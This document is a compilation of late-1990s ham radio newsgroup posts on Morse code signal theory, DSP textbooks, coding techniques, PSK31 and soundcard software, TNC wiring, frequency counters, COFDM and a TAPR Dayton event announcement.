On the other hand, when Morse code testing is dropped, there will be a number of hams that currently operate only at VHF and above who will acquire HF equipment. Some of these will find that Morse is interesting, and will learn it voluntarily. These are people who currently don't own HF equipment, and wouldn't obtain it if they aren't allowed to use those bands. So this is a source of a net gain in CW-fluent operators.

As I said, it's difficult to predict how these would balance out.

However, it's easy to predict that dropping the Morse code requirement would result in more hams with HF equipment who are prepared to do SSB voice emergency communications.

Hi my name is Bernard Ilsley and I work as a psychic in the UK and I often do Radio there and TV I have also done Radio in the US in the past and would be interested in visiting your radio show and talking with you, one of the most popular things I do on chat shows is a phone in where people ask questions, readings can also be done. I have a Web site w w w. Ilsley. com if you want to check it out. I will be visiting New York on May 8th for about a week.

I look forward to your reply,

Kind Regards,
Bernard Ilsley.

>DOES happen, you know. Regulary.

It isn't easy, even in theory. The reason it isn't easy is that OOK Morse is an irregular code which isn't fully voiced. You can't form a matched filter for it, so decoding is always suboptimal (any sort of decoder, including "by ear", can be shown to be mathematically equivalent to a filter decoder, the worse ones being further from a matched filter, so this limitation applies to all techniques). That's one of the reasons OOK Morse pays such a large penalty with respect to codes which are uniform. It doesn't matter whether you do machine or manual decoding, this penalty is still there.

This is a separate issue from filtering the carrier tone. That's easy, but it doesn't do much for you in terms of decoding. As with any AM transmission, the carrier bears no information. The information is in the modulation sidebands. For hand sent code, the sidebands are at subaudible frequencies (approximately 10 Hz for 12 WPM dots and intracharacter spaces, lower for dashes and intercharacter spaces, lower still for word spaces).

You can't filter, in any fashion, including by FFT, narrower than the bandwidth of the modulation. If you try, then the modulation is stripped

off and all you are left with is a constant carrier tone. The minimum filter bandwidth is BW=1/t where t is the symbol duration. For an AM signal, you have to double that to include both sidebands (called the double sided power spectral density or DSPSD). In other words, if you apply a narrower than 20 Hz filter to an OOK signal sending a string of 12 WPM dots, all you'll get out of the filter is a constant tone. This is often called "ringing", but what's actually happened is that you've stripped off the information carrying sidebands, leaving only the unmodulated carrier.

Well before you got that narrow, you'd have already stripped off the frequencies which convey the symbol edges, the temporal location of which is the information a human uses to decode Morse. This sort of "ringing" is *inherent* to any filtering process. You can't get rid of it except by widening the filter or changing the nature of the symbols. Widening it, of course, lets in more noise and degrades the achievable SNR. So switching to a different sort of coding is the only way to achieve better results.

There are other sorts of "ringing" in multipole analog filters due to imperfections in their implementation, but even DSP filters "ring" when they are narrowed to the point that they strip off information in the signal sidebands. A FFT is mathematically equivalent to a filter, so it shows no advantage in this respect. If you try to make the bins too narrow, you get the same sort of problem in the frequency domain as you face with a too narrow filter in the time domain, IE amplitude tends toward a constant.

For CCIR recomended rise/fall, the minimum bandwidth you can make an OOK Morse filter is 66 Hz without causing the timing edges to blur and become more difficult to resolve. (The timing edges of a uniform code don't carry the information of the code, so they can be filtered right down to the Nyquist limit of BW = 2/t. You can't do that with human decoded OOK Morse. The bandwidth needs to be much greater in order to recover the timing edges.)

To decode you have to form a matched filter for each modulation symbol. There are five of them in OOK Morse, three of which are unvoiced and offer no energy to filter and recover at all. That costs nearly 4 dB compared to a uniform fully voiced code and modulation. The energy from each matched filter is compared to the energy of the others in a decision circuit, which chooses the symbol with the highest energy as the current modulation symbol. The problem is, 3 of OOK Morse's 5 symbols have no energy because they are unvoiced, so there is an ambiguity which must be resolved by an ad hoc algorithm making guesses as to which of the 3 symbols it might be. That costs quite a bit in terms of effective SNR. (If you add in sloppy code timing, it becomes much worse.)

Even with perfect code timing, Morse is asynchronous, so locating the symbols temporally in order to recover their energy is difficult. (Use of CCW can resolve that problem, but most hams don't operate CCW.) This can cost up to another 7 dB depending on exactly where

the sample window falls with respect to the code symbol being sent
at the moment.

Add to that the problem of OOK Morse not being a maximal distance
code, which costs up to 6 dB compared to a properly designed maximal
distance code, and things deteriorate from there. You can avoid these
problems by not using Morse, and not using OOK modulation. But if
you have to use that code and modulation, then you have to expect
relatively poor results compared to a code and modulation which doesn't
suffer those problems.

All this is predicated on maintaining the same information rate, of course,
and on achieving a zero error rate (the Shannon relation is predicated on
a zero error rate, that's why FEC improves the Shannon performance).
Slower speeds, and a tolerance for unrecoverable errors (IE you don't care
if you get the message wrong to one extent or another), allow us to operate
at somewhat lower signal levels. When operating very far from the Shannon
and Nyquist limits, any old technique may suffice. But as we approach the
limits, we have to use the very best techniques we know in order to get the
message through correctly.

The best we've been able to do in approaching the Shannon bound is to
approach it within 4 dB, which is very very good. OOK Morse approaches
it to only about 23-26 dB at 20 WPM for skilled opeators. Of course most
amateurs don't use techniques which are better than OOK Morse, so
they don't realize the 19-22 dB advantage that they could be enjoying.
They could be using signals a hundred times weaker (for example doing
EME with Oscar 10 type stations), or sent a hundred times faster, by
employing the best methods we know how to employ.

Actually, manual Morse hits a human limit well before it approaches the
Shannon limit, so when we aren't pushing the Shannon limit, we can
usually send thousands or millions of times faster by other means. There
is also a lower limit to human decoding, which prevents us from working
at the very lowest information rates. Below about 5 WPM, the ability of
humans to copy weak Morse is greatly diminished. Machine methods
don't have this limitation, of course, and can benefit from the lower
information rate in approaching the Shannon bounds.

It is also worth noting that the Shannon bound generally assumes an
AGWN background. That's considered worst case when operating
near the limits since it is completely uncorrelated. Correlated noise,
IE interference, can usually be dealt with by techniques which subtract
it from the signal at a lesser penalty than for AGWN. But receiver
imperfections (AGC pumping, IMD, etc) can make strong interfering
signals the dominant factor in a particular case. Skywave multipath
can also chop up our signals, and requires us to choose ways to
deal with it which may conflict with methods which work best against
pure gaussian white noise. Things aren't as simple as just trading
off speed, bandwidth, and SNR. Those are basic, but other factors
have to be considered as well.

Hi Dieter,

BTW, there's a guy who talks a lot about MPEG, etc., has annoying style by depressing and pressing his PTT over and over until he's done talking. He has a KF6... call sign so proud of his International Phonetic alphabet proficiency. For I know 145.300 has 30-second timeout but he press and release the PTT every 5-seconds.

I have not seen any low cost programs doing any usable predictions in
such environments.

As for the rule-of-tumb, the signal strength seems to be inversely
proportional to the fourth power of distance in urban areas (while the
free space loss is only inversely proportional to the square of the
distance), due to various scattering modes between and around
buildings.

I have a working prompro 8x programmer that I am trying to find either
a M010 module or schematic (even a hand drawn one is great) for.

The M010 does the 27C010 or 27C1001 eproms.

I have the manuals and schematics books for this one here, but this
module isnt shown in them. It only tells how to use the module.

Also if you have a remote keypad for one of these, I'd be interested.

Wilson is the most lucid writer on the topic that I've found. I'm particularly
fond of his treatment of the topology of signal spaces. If you think you need
training wheels to handle him, try Digital Communications Techniques,
Signal Design and Detection by Simon, Hinedi, and Lindsey. Lots of good
information, but those guys can't write worth spit. You need toothpicks to
keep your eyes open, and they'll still cross after trying to read it for 5 minutes.
Best to skip over the text and just look at the math. At least it is organized
so you can do that.

Here's a sampling of some of the other books in my library.

Digital Signal Processing, Principles, Algorithms, and Applications
by Proakis and Manolakis

Digital Signal Processing, A Practical Approach
by Ifeachor and Jervis

Those two are classics in the field. They aren't as approachable
as Wilson, but both are good reads which give you different
perspectives on various aspects of the topic.

Analog and Digital Signal Processing
by Ashok Ambardar

Modern Signals and Systems
by Kwakernaak and Sivan

I find both of these books very handy to have at hand. They treat
both analog and digital systems. Much of the comparative information
I've posted has come from them. I particularly find the Kwakernaak
work useful, but Ambardar has some real quotable gems too.

Digital Signal Processing
by Roberts and Mullis

Dry, very dry. I'm sure there's something of value in there, but
digging it out is very exhausting. I've never been able to plow
all the way through it.

Wireless Digital Communications, Modulation & Spread Spectrum Applications
by Feher

A blatent commercial for Feher's patents, but there's good information in there,
particularly with respect to SS, if you're willing to dig it out.

Digital Signal Processing, A Laboratory Approach Using PC-DSP
by Oktay Alkin

This skinny little book, and its software package, is very handy
for cookbooking digital filters. I refer to it often.

This is just a sampling of the library. I've got a bunch of nuts and
bolts DSP books too. I also have some very good books on error
detection and correction coding which are well worth a look. And
of course we must not forget Shannon. I have all of his published
works. Like Feynman (and I highly recomend all of his books too),
Shannon's papers yield new insights each time you read them.

When I mentioned that I thought I needed training wheels, I meant no criticism
of Wilson's text, but more of my own abilities to understand :-).

That being said, I am finding it to be like dipping your toe into a hot bath:
each time, you can put your foot in a little more. I'll get their
eventually.

I find my training in statistics to be inadequate, but most of my other math
skills seem up to the task. I've found working through the questions at
the end of the chapter to be very informative (and even fun!), but I sometimes
wish I had a professor to grade my responses.

Thanks for the suggestions for other books, I'll check 'em out.

I bought Wilson on your recommendation, Gary, and agree with you:
he writes well.

One book I recommend these days for general communications background
is Communication Systems by Simon Haykin. More than a little
theoretical, but ties things together nicely.

> Digital Signal Processing, A Practical Approach
> by Ifeachor and Jervis

Yes. My first DSP text. Reasonably cheap, as such books go. Almost
a cookbook for things like the Window and Frequency Sampling methods.
A decent treatment of adaptive filtering.

One I've encountered in my courses was Digital Communication by Lee
and Messerschmitt. Either I missed something, or there are
books that explain the material better...yawn.

It's a very good book but the textbook written so that even a Texan
can understand it is: "Introduction to Digital Signal Processing"
by Roman Kuc.

OK, go look at 27 MHz and report back. Outlawing Jamming would be a "law"
and thus "anti-libertarian."

>> You can turn Ham radio into a big internet and telephone company, but it
>> will cost just as much as if you just paid for what is available now.

Well, let me advise you what you really want. You want to use the public
property for your own use. Well, suppose someone put up a tar-paper
shack on the right-of-way in front of your home. Then started selling
Tacos.
Hey, he could sell Tacos in a properly zoned area you say! Well, no, this
is public property and he is a libertarian, and believes in less laws means
good laws. Zoning is unfair.

Steve

>Of course this technique only works for two way contacts, it can't work for
>one way broadcasts because it requires feedback from the receiving station
>to indicate when the message has been received correctly.

There is also another interesting technique ... called "code combining."

A rate 1/2 convolutional coder can be viewed as taking n input symbols
and converting them into two symbols streams, "a" and "b" consisting
of n symbols each (but the "a" and "b" symbol streams are, of course,
different from each other AND the original data stream).

Normally, the "a" and "b" symbol streams are comutated into a single
symbol stream of 2n symbols and transmitted as a "rate 1/2 code."

However, it is possible to send just the "a" symbols as a "rate 1 code",
saving both the "a" and "b" symbols in a buffer. If the signal quality
is high enough at the receiving end, the rate 1 "a" symbols can be fed
to a Viterbi decoder (with the missing "b" symbols being treated as
erasures) and the message will decode correctly.

If the signal is not good enough, a NAK can be transmitted and
the originator then sends the (previously buffered) "b" symbols as
another "rate 1 code." At the receiver, the newly received "b"
symbols are combined (interleaved as they would be in a "normal"
rate 1/2 convolutional code) with the previously received "a" symbols
to form a rate 1/2 convolutional code. This provides a significant
coding gain (dependent on the constraint length).

If the signal is still too weak to decode without errors, the receiver
NAKs again and the originator sends the "a" symbols again.
This new copy of the "a" symbols is combined with the 1st copy
of the "a" symbols in a weighted, majority vote fashion, with symbols
not "passing muster" in the weighting process marked as erasures,
then combined with the "b" symbols and the Viterbi decoder takes
another run at it.

This process alternates between "a" and "b symbol streams with each
retransmission of a single, rate 1 sequence allowing the synthesis of
a rate 1/n code, where n is the number of rate 1 packets sent.

While this can introduce delay on a bad channel, it has the
interesting property that it will always deliver a correct message
with the least possible number of coded symbols sent over the
channel. If the channel is good most of the time and suffers from
random burst errors, this technique can be a real winner, since
most of the time, only one "rate 1 coded" copy of the packet
must be sent ... retries occur only as much as necessary to
get the message through ... cool.

Additionally, if an ACK/NAK from the intended receiver is not
desirable (LPI, covert situation, etc.) or the receiver is inherently
receive only, it is possible to select a number of transmissions
"n" which will synthesize a rate 1/n code which gives some
statistical probability of correct reception at the intended receiver
under assumed propagation conditions. (It's amazing how
vertical the waterfall curve for a rate 1/256 code is :-)

Even outdoors in a suburban residential area (not real dense
condos, but single family homes on decent sized lots) the factor
can easily be an inverse 3rd or 4th power function of distance.

Gary is right ... to get accurate results you need some
pretty sophisticated software as well as accurate terrain
databases with indications of building density, etc.

Do that. Having a number of different texts is a great aid because
each author approaches the subject from a slightly different direction.
As you read each one, some of what the others have said begins to
make more sense. Finally, you achieve a synthesis and become
confident of your understanding of the subject. I find this more
useful than just grinding and grinding at one text. A live professor
might be able to guide you by offering several different approaches,
but I often find that a professor, particularly a professor who has
written the class text, tends to be fairly rigid in his approach, and
that can hinder learning. (There are wonderful, but rare, exceptions,
of course. A very few professors really know how to teach, and they
are a treasure.)

Spanning several hundred kilometers at megabit rates isn't going to be cheap. Microwave hops on the order of 30 km each would be required, and even using amateur radio scrounging techniques, each hop would likely exceed $1,000 and require continuing maintenance (and parts for scrounged equipment could be unobtainium). New equipment cost, if you went that route, could easily exceed $15,000 per node, making this approach virtually untenable.

56 kb rates at low UHF would be cheaper. Each hop would still cost about $1,000 (if you bought all, or most, of the equipment new, about $600 if you scrounge a bit), but hop lengths could extend out to 90 km each (depending somewhat on terrain), so fewer relay stations would be required. Continuing maintenance costs, and operating costs still have to be factored in, of course.

Low rates, on the order of 1200-9600 baud, would be a bit cheaper still. Approximately the same number of hops would be required, but the all new costs would be lower per hop, about $650, and scrounged costs could drop as low as $200-$300 per node. You'd basically be reduced to Email at these rates, however, with just a touch of realtime ability at the higher rate. And again, maintenance and operating costs have to be factored in.

The cheapest way would be to employ HF NVIS techniques. That would
only require equipment at each end, but speed would be 300 baud or less.
Total system cost using amateur scrounging could fall below $2,000 for
the entire system. Operating and maintenance costs will also be lowest
for this system. This would be strictly text Email only.

Satellite time for a SCPC link isn't *that* high anymore. T1 rate channels
lease for on the order of $1,000 per month, with no maintenance headaches
on your part. If you can share the link, costs can drop even more. I'd be
hunting for a grant to pay for satellite time. That'd give you near realtime
imagery as well as realtime web and internet capability.

I can't speak at all to the issue of radio regulations in that area.
Things have changed so much, that any opinion from this distance
would be a wild guess at best. Internet distribution by radio has
been attempted in that area, however. Check the TAPR site for
a pointer to one amateur who worked for an international aid
agency to do just that. The URL is www.tapr.org . He may be
able to give you more advice on how to deal with the regulatory
environment there.

...clip a lot of good info...

Carl,

I liked this post.

1) You presented some good information in an instructive
and well structured fashion.

2) You didn't denigrate anyone, whether they agreed with you or not.

Keep up the good work.

How much more of a sewer and "Alice-in-Wonderland" do you want
both the commercial and the amateur spectrum to become?

> This isn't a very good analogy, because the
> radio spectrum is not comparable to land. Whereas land can and should be
> privately owned, the radio spectrum is and should be public property.

Then why are you applying land ownership/use concepts such as
"private" or "public" "property" to the regulation of its use?

I know that it must inflame the non-professionals for me to say
this, but the professionals have been charged to be the manager
of the resource by the government, which bottom=line is the
representative of our society, and to get a professional job
done. Get out of the way and let them do it.

I need a circuit for a frequency counter, covering a range of about 500kHz
to 30MHz, for amateur radio use, preferably using TTL i.c's.
I intend to use it for measuring the frequencies of vfo's, local
oscillators, etc. The circuit should preferably be as simple and inexpensive
as possible. If anyone can help by suggesting a suitable circuit, please
email me.
Thanks.

1492. Pacterm '98 announcement - was Re: KPC-4 firmware version?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-10 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <umkhid1a#GA.107@upnetnews05>
Source record: 19007

I'll be putting a press release out next week on this, but Kantronics has also decided to stop OEMing Pacterm '98. So Creative Services Software will take over sales and support on April 1.

Phil Anderson, Kantronics Presdient told me that they are focusing on hardware support and development and are working on getting into the paging market. After discussing this with him for quite a while, we both felt it best for hams that software support needs to come from CSS and hardware support from Kantronics.

Timewave and MFJ will continue to be OEM partners with the PK-Term '99 and the forthcoming Multicomm Host product.

Our support of Pacterm '98 will begin with version 1.2.1B, which is planned to be released after the Charlotte Hamfest. CSS will be there this weekend, as well as Dayton in May.

Bill Campbell, WD4HEN will be handling techincial support for CSS. The new support number, which can be used on April 1, is 256-381-6135. Sales will be at 256-381-6100.

If you're going to be in Charlotte this weekend

From: tswisher@gcfn.org
Message-ID: <7c7adh$d7t@login.freenet.columbus.oh.us>
Source record: 19008

All;

I've got a Kantronics UTU-XT that I've been tinkering with and was wondering if anyone knows a source for more up to date software (preferably Windows based) for it? I've been using the DOS package "Kanterm" that Kantronics used to sell but would like to try something a bit more up to date.

Thanks in advance.

Nope ... while I suspect (but have not verified) that the PSK31 software
will run on the Ensonique AUDIOPCI card (which supports SoundBlaster
compatitibilty, PSK31 is MUCH BETTER than Baudot RTTY ... 50 wpm
in a 31 Hz bandwidth!

>Any other programs available for these purposes?

Check out http://www.geocities.com/SiliconValley/Heights/4477/
for something that is supposed to be good at old-fashioned RTTY.

But consider giving PSK31 a try ... you may never go back to
RTTY :-)

<BOOMHAUER MODE>
Yeah man I tellywhat that dang 'ol packet radio stuff is just buzz and beep and click-click-click and you got your internet stuff and all and it's just no good if it's not dang ol' straight key cw or spoken unaccented english.
</BOOMHAUER MODE>

But seriously, Check your ICOM to see if you can program known FM voice repeaters (and offsets, tones, etc.) into memory, then scan the memory channels. You may also be able to skip some channels during scan. Keep in mind that a few hams are using mic-encoders, which imprint a short burst of data at the end of some voice transmissions. Right now I find it annoying, but that's probably because I don't have one.
The 1998-99 ARRL repeater directory should have the voice repeaters listed for your area. I think I remember reading that they have excluded digipeaters from the listings. Dang 'ol yellow book.

>possibilities to replace MFJ's Multicomm?
>
>Thanks, Orin

Minicom works fine as a terminal program, and as long as you're talking to the TNC in command mode (rather than KISS or DED) it should work fine. The only problem with minicom (at least the version distributed with Debian Linux) is that it skips the 4800 baud speed setting -- you can do 2400 or 9600, or others on either side, but 4800 isn't there. That's annoying because 4800 is a good speed to talk to a 1200 baud TNC, and it's also the speed that most GPS units talk.

Hello:

I have just been told a little about PSK31 as a program that makes use
of the computer soundcard.

I am looking for a program that will run under WIN95b and make use of
AUDIOPCI soundcard by Ensonique. The program must do HF Baudot RTTY.

Does PSK31 meet these requirements?
Any other programs available for these purposes?

Thanks es 73s

If you don't have a fast computer withan SB16 type sound card,
(needs to be 486/66 at least) opt for the Motorola DSP56002EVM
solution. It will cost about $US 130, but the performance is great
on any PC that runs Win 3.1 - or even DOS.

The same EVM card will also run Feld-Hell, MT-Hell, MT63,
RTTY, Amtor and Pactor in the same setup.

No, PSK31 is only available for Soundblaster 16 compatable sound cards,
although it is available for several DSP development kits.

PSK31 is a communications protocol, not a program, so no, it does not
do Baudot RTTY or anything similar.

I suggest that it would be rather easier to buy a second hand SB16
sound card (I bought a genuine PNP SB16 with full duplex for $30),
than to try messing about with the card you have.

If sound quality is important to you as well as SB16 compatability,
try either the SB AWE64 wavetable card, or add the excellent
Yamaha DB50XG wavetable daughter board to an SB16.

There is an ever increasing range of ham software for the SB16:

RTTY (BLT by ZL2AKM)
WEFAX and Weather satellites (WEFAX)
Feld-Hellschreiber (IZ8BLY)
MT-Hellschreiber (G3PPT MTHKBD2 and GRAM by Richard Horne)
Spectrum Analysis (GRAM by Richard Horne)
PSK31 (by G3PLX)

PSK31 is used in a similar way to RTTY, for random QSOs. It is very
slick and easy to use, once you get used to the different tuning
technique. The transmission is very narrow (50 Hz), and only 31.25 baud,
but the text throughput is the same as 50 baud RTTY. It has upper
and lower case, over the air backspace, an optional error correction
mode, and uses a varicoding system for high efficiency. The modulation
is differential binary phase keying (QPSK in error correction mode)
and is synchronously demodulated. No start or stop bits are required
as the protocol is bit based rather than character based. It is easy
to work world-wide on PSK31 with fairly low power (a few watts).

Hi There,
I recently purchased a Watson Multimode packet controller (I believe
it`s a Baycom clone , but I`m no expert).
Has anyone had experience with this unit?
I`m trying to connect it to a Yaesu Memorizer transceiver for 1200baud VHF
packet but without success.
It receives OK, PTT is fine but there is little or no audio on the transmit
side, I`ve adjusted the internal pot but to no avail.
Anyone know the wiring to a 6 pin Yaesu, I think I have it correct but
can`t be sure? Any general comments about this unit.
Many thanks in advance for any info.

Alan (EI3EBB).

I see that in version 5.0 of KAM software, Kantronics added "smartwatch", which I assume was some sort of clock chip that has ram memory in it also. This sounds like it may have been a Dallas Semiconductor plug in replacement for the 32K ram chip.

If you ever got this option around the time of 5.0, 6.0 or 6.1 KAM without the enhancement board, can you reveal to me the actual CHIP that was added to the unit, and if so, where?

Was it a piggy back board, somewhat like the enhancement board?

Mine works fine into the mic socket of my old FT290R (Mk1). The typical
output of a mic is about 1 mV so you dont need ear splitting output from
the Watson. Would suspect mic socket pin numbers / wiring as root
cause of your problem.
Spent more time trying to come to terms with the documentation than
actually using my Watson, it does so much its quite incredible. Just
love that spectrum scope ! Try it on your HF rig and look at the bandwidth
some of those SSB signals.

Are you sure about that, Fred? My understanding is that Peter uses
only the Win95 sound API calls, so any ATAPI conforming sound card
should work. My sound card is an AWE64, so I haven't tested that,
but I believe that off brand cards should work too as long as they
have an ATAPI driver. Chip level emulation isn't necessary.

From: wa2rsx@att.netWORKed.net
Message-ID: <36e81651.73870313@netnews.worldnet.att.net>
Source record: 19022

Ive been looking for Baudot RTTY program that uses the computer soundcard. BTL has been recommended by several. But, Im getting nowhere, FAST !

My soundcard is ENSONIQ AudioPCI S5016. Can anyone out there using this soundcard advise of it's use with BTL or with RITTY, for that matter ??

When starting up BTL1.54e, I have gotten the following report displayed:
>>Sound blaster version 3.1 found at address 0x220.
>>Valid response from DMA 1.
>>Valid response from IRQ7.
I think that means that this soundcard should be workable.

However, I am getting nothing but flashing cursor movement in the tuning indicator display. The line level bar also flashes/blinks. No indication of receiver audio impacting the soundcard/program.

Any suggestions?

My radio is Yaesu FT1000-D. I have tried the line-audio output jack at the rear panel and the PHONES jack as source for receiver-audio as the input to the SoundCard.

It's probably one of those inputs where the PTT and audio (mic)
input go to the same pin.

Connect the audio via a 0.1 microfarad capacitor and the PTT
via a resistor around 10k. You may need to fiddle with the
resistor value.

Be careful though. A few years ago (I don't recall the year but believe
it was in a December issue) Electronics Now (or maybe it was before the
name change in which case it would have been Radio Electronics) had a
"1GHz Frequency Counter" that probably would have had problems getting up
to 5MHz. The uathor was a little confused on the concept, and for some
very odd reason it slipped by the editors.

It was a straightforward counter, probably using the Intersil 7208 or more
likely a later variation. But the author put dividers ahead of it to get
a higher count. Two or three decade counters if I recall correctly, so
the mid-HF range of the LSI frequency counter IC could be extended to a
much higher frequency.

The problem was, the author used plain old 4017 CMOS dividers as the
prescaler, and there was no way that they could count any higher in
frequency than the LSI counter.

To compound the problem, last year in the Q&A column someone asked about a
frequency counter, and they were pointed to that same article. Luckily,
someone sent in a followup letter, as there were when the article was
originally published, pointing out that there was no way the thing could
count very high.

So be sure to avoid that particular frequency counter article.

I understand that you may really want to build your own, but if you
change your mind, I have a couple of Hewlett-Packard counters that are
excellent and affordable. They also offer a degree of quality that you
are very unlikely to match.

These are both modular sets that use an upper half that houses the
reference clock and the display, and a lower half that houses the
counter electronics. The two halves lock together, but can be swapped
quickly if you wish to change counters. They are AC line powered.

HP5300A: 6 digit display module with an internal clock that is
accurate to better than 1 part per million. $40.

HP5301A: 10MHz frequency counter with .1, 1, 10 second gate times and
adjustable sensitivity. $20.

HP5302A: 50MHz counter/timer, with same gate times, but also does
period, period average, time interval, etc. $60

Shipping CONUS, $5, or buy all three and I'll pay the shipping.

If you really have to build one, the circuit in the ARRL handbook works and it shouldn't cost more than $20 to put together. You can learn something about display drivers etc. by looking at the circuit.

I have a "formerly" expensive HP model that I purchased used, and a radio shack portable model. Interesting, the RS model will interface a PC and it was about $80 when I bought it and they are a lot cheaper now. It's a matter of whether you want to invest time or money.

Markus

I have downloaded the PSK31 for my PTC-II.

Yes, it works fantastically well ... but, how do you get OUT of PSKT mode??

Nothing I try works, except power-cycling the TNC.

I sent an e-mail to Martin at SCS about this, but no word yet.

Adjusting PK-232 LED display...

Hi.

I am looking for the method of adjusting the LED display on
my PK-232.

For contesting I will be using a HAL P38, just installed,
(gives much better performance). But..... The onscreen
tuning bars are much more difficult to align quickly than
the PK-232 LED display. So I am feeding audio to the PK for
tuning purposes only.

The PK-232 display shows the 'on frequency' position about
20-25 hz higher than the HAL P38. Want to adjust the PK
display to match. Any gurus out there that can tell me how
to move the PK display frequency center?

Thanks.

Rick,

As you have no doubt noticed.. the shift on the pk232 is actually 200hz as opposed to the RTTY standard of 170hz.
This was done to accomodate the Multi-modes. And yes, compromises the tuning, esp if your hunting dx.
The Answer is not adjusting the Cf of the display. but rather aligning the filters to 170hz. The display is working just fine.

There was an article several years ago in the RTTY JOURNAL that detailed the mod. I did it to mine at the time and it made quite an improvement.
I can hunt the back issues here and see If I can track it down.
Or somebody else on the group may have it up.. maybe on the N1RCT site..?

The other alternative, it to correctly tune a station, the just simply mark the correct leds on the display. It wont improve the 232 one bit..but its cheap, easy...

Hi Alan,
I run a Watson on HF through VHF. I found that the unit
operated extremely well but the software provided with the unit was Tx
inhibited. It thus worked fine Rx on VHF but no TX tones. On HF I did
not have this problem. New software and all worked fine.

Hello,

I have recently heard of a modulation scheme called COFDM,
it stands for Coded Orthagonal Frequency Division Multiplex.
Seems it is being used in Europe for digital TV and radio
broadcasting.

I found some stuff on the web (BBC web pages), and from what
I can read it is a kind of spread-spectrum scheme that uses
multiple carriers (the FDM part) and convolution codes (the
coded orthagonal part) to achieve low bit-error rates and
good immunity from multipath distortion.

Has anyone else heard of this? Do you know of any good web
resources to help me come up to speed on this subject?

Any hams experimenting with this?

It is a good system. It has the advantage over our 8VSB
system that additional boosters can operate on the same
channel without beats and artifacts. We can't do that.
But receivers are cheaper for our system, and that was
the driving factor in adopting 8VSB here.

I don't know of any web resources, but there are a couple
of good books on digital television which explain both
systems, published by McGraw-Hill.

Well, it has nothing to do with spread spectrum, since all the carriers are used all time (not one carrier at a time as in frequency hopping spread spectrum). It is more like ADSL/HDSL used to distribute Video On Demand over normal phone lines.

Essentially, the data stream in DVB is transmitted using 2000-8000 carriers, thus, the baud rate is very low (kilobauds) and thus, the resistance to multipath is quite high, while still transferring several megabits each second. The audio (DAB) broadcast was especially designed for mobile reception in mind and the TV broadcast (DVB) is sufficiently resistant to multipath, even for train or buss reception.

: Has anyone else heard of this? Do you know of any good web
: resources to help me come up to speed on this subject?

www.dab.org (audio) and www.dvb.org (TV)

: Any hams experimenting with this?

I haven't heard of any, but the principle of multiple carriers should be easily adapted to HF with sometimes very bad multipath propagation. Nowadays it is quite easy to generate and detect multiple carriers using FFT (Fast Fourier Transform) techniques using a DSP or even a sound card on a PC. Using multiple carriers is nothing new, for instance, the Piccolo system used for diplomatic communication in some countries for decades, used 32 tones (carriers), but those systems required 32 parallel hardware channels.

Help!,

Having problems using the MFJ to connect my ICOM 2100 to my KAM+. If I configure the jumpers like the back of the box shown for ICOM, my ICOM won't transmit in TNC mode. If I remove the R6E/M6A, it works perfectly in TNC mode, but the mike controls don't work in mic mode. What is really weird is that pin 3 on the mike cable (pin 6 by MFJ rules, but backwards from ICOM) is NC-No Connection. But I measure DC voltage on the pins even when the radio and TNC are turned off.

Anyone successfully used this combination?

Cheers and 73...

Folks,
You are missing out on the Hellschreiber DX!

In the last week I have worked JA5TX, 3D2AA and S51RB,
as well as all the more common stuff.

These guys are looking for contacts - so fire up your gear
and take a peek on 14061 kHz. You are most likely to
find activity around 0800z and 2000z, especially weekends.

All three of the above stations, and many other keen
Hell operators, also run PSK31, so if you run into them
on PSK, ask for a Hell contact.
is a really awesome, but simple and narrow band DX
mode with excellent noise rejection. It was invented in
1927 and still has plenty of life left! See my web site
for more information.

The PK-232 is setup for 200HZ shift instead of 170 like your Hal.

Complete details on how to realign your PK-232 to 170 shift is on my
homepage
http://www.qsl.net/k0bx

Good Luck

You have had lots of replies but I will add mine anyway.
Counters are a bit more expensive in Oz so I might be inclined to build my
own.
Look at Elektor UK Jan 1998. There is an article by Eamon Skelton
describing a PIC micro based counter which is quite simple. As a bonus it
will stabilize a free running VFO with a PLL "huff and puff" circuit . It
uses 2 chips (74HC series) as squarer/prescaler and the PIC itself does
most of the work and drives a cheap LCD display (about US$20). The only
other chips are a regulator and opamp for the PLL if you choose to use
this. Of course you will have to buy a programmed chip and a PC board from
Elektor if you want to do this.
I have a similar circuit using the Atmel AT90S1200. I have got a prototype
going (it works!!) and need to tidy up the design to allow user definable
offsets (up to 8 selectable offsets which can be user programmed using
pushbutton switches). It also has automatic lockup ( ie no switch to lock).
If there is interest I might be able to get a batch of boards made. I would
envisage the controller/PCB together would cost about AUS$40. E mail me if
you are interested.

Richard

Hi, my name is Matt.
I need a schematic for a 6 channel remote control receiver and transmitter. Is there any place I can find such a thing on the internet or in a book?

I have another problem, i need to transmit color video from the robot to my computer. i'm going to be using either a color quick cam or a security type of camera, the problem being is that i'm limited by a fifty dollar budget for the transmission unit. luckily the robot is always going to be in a 100 yard range. I was thinking about taking the digital data from the quick cam and plugging it into a 68hc11 or some other pretty powerful processor to compress it and send it to a simpler transmission unit. so basically, what could I use to transmit 64000 bytes per second by using a fairly simple circuit.

thanks.

I mounted a small camera on a tracked vehicle some time ago. We used a
thing called a VCR RABBIT.
It is a transmitter and a receiver used to send your vcr signal to a remote
location. If I remember it
operated in the 900mhz no liscense zone.
The units are in seperate cases. so seperating them isn't a problem.

1572. TAPR PACK*BASH at 1999 Dayton HamVention

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-15 00:00:00 UTC
From: Greg Jones <wd5ivd@tapr.org>
Message-ID: <7C7H2.473$ef1.446@newsr1.texas.rr.com>
Source record: 18978

(http://www.tapr.org/tapr/html/dayton.html)

Attending the 1999 Dayton Hamvention?
Then don't miss out on PACK*BASH!

What?
An event for the digitally-inclined ham, featuring:
* Buffet dinner
* "A Little Technology Goes a Long Way" -- after dinner talk
by Dave Pederson, N7BHC
* TAPR special interest group meetings
* "Birds of a Feather" gatherings

When?
Friday evening, May 14, 1999
Doors open at 7:00 pm; dinner served at 7:30 pm
Speaker and meetings after dinner

Where?
NCR "Sugarcamp" Conference Center, 101 W. Schantz Ave. --
South of downtown Dayton, just west of Main St. (Rt 48).
Maps available on the TAPR web site or at the TAPR booth.

How?
Dinner requires advance registration and payment through TAPR.
Tickets will be available at the TAPR booth on Friday, though
we strongly encourage registration <before> Hamvention. The
cost is $20.00 per person, tax and tip included.

All amateurs are welcome to attend, enjoy the speaker, and
particpate in the meetings, although only those purchasing a
dinner can eat.

To register, contact:
PACK*BASH
c/o TAPR
8987-309 E. Tanque Verde Road #337
Tucson, AZ 85749-9399

Phone: (940) 383-0000
